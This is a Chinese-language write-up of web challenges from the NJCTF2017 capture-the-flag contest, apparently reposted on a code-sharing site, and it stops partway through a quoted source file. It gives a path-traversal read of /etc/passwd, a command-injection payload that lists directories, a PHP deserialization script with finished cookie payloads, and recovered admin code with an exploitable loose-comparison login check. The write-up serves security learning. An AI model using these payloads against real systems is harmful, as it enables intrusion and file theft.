首页 > 代码库 > NJCTF2017 Web Writeup
NJCTF2017 Web Writeup
一个登陆和注册的功能,开始以为是注入,发现并不行。
后来尝试了下弱口令
1
2
|
username:admin
password:admin123
|
结果登录成功了。。
其实正解是注册时注册用户为
admin后跟很多很多空格之后加个a
就是注册时拼接到数据库时有长度限制
一开始测试不成功是因为空格太少了,尴尬
Get Flag
看起来是一个搜索图片的框
输入1.jpg后在返回页面查看源码,发现被base64加密过
那么我直接读../../../../../../etc/passwd试试
解base64发现确实可以读到
猜测可能直接执行了cat命令,那么构造
1
|
../../../../../../etc/passwd & ls ./
|
可以列出目录
最后找到flag在../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
然后直接读就好了
Text wall
存在.index.php.swo
给出了部分源码
1
2
3
4
5
6
7
8
9
10
|
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);
}
}
........
|
submit后发现cookie中存在序列化的东西
应该是一个反序列化的漏洞
结果找到了原题
构造脚本
(注意前面是40位随机值,所以将md5改为sha1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
Class filelist{
public function __toString()
{
return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);
}
}
$foo = new filelist();
$foo->source = ‘index.php‘;
$bar = [];
$bar[] = $foo; //这里是一个数组,tostring时其实可以返回数组内的所有文件
$m = serialize($bar);
$h = sha1($m);
echo $h.$m; //这里注意不需要urlencode
|
得到
1
|
f3a6de2497f71356a3995e26a1f4f64ae48e80b1a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}
|
然后修改cookie刷新页面后
最终payload为
1
|
579574889b2cc082443598ee85d9a4839698a948a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}}
|
Wallet
进入admin.php发现cookie中有auth和hsh
默认是auth=0,hsh=b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
hsh拿cmd5解密后是0的sha1值
于是尝试auth=1,hsh=356a192b7913b04c54574d18c28d46e6395428ab (这是1sha1值)
发现并没有什么作用,还是
后来提示压缩包密码为弱口令
存在www.zip
里面是admin.php
试出来密码是njctf2017
admin.php直接查看有很多乱码,应该是被加密过
有个php在线解密网站
在线phpjm解密 下再美化下。。
获得源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
require_once "db.php";
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else {
if (sha1((string) $hsh) == md5((string) $auth)) {
$auth = 1;
} else {
$auth = 0;
}
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string) $s));
}
if ($auth) {
if (isset($_GET[‘query‘])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET[‘query‘]);
$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: {$result}";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name=‘input‘ action=‘admin.php‘ method=‘get‘>Wallet ID: <input type=‘text‘ name=‘query‘><input type=‘submit‘ value=http://www.mamicode.com/‘Submit Query‘> |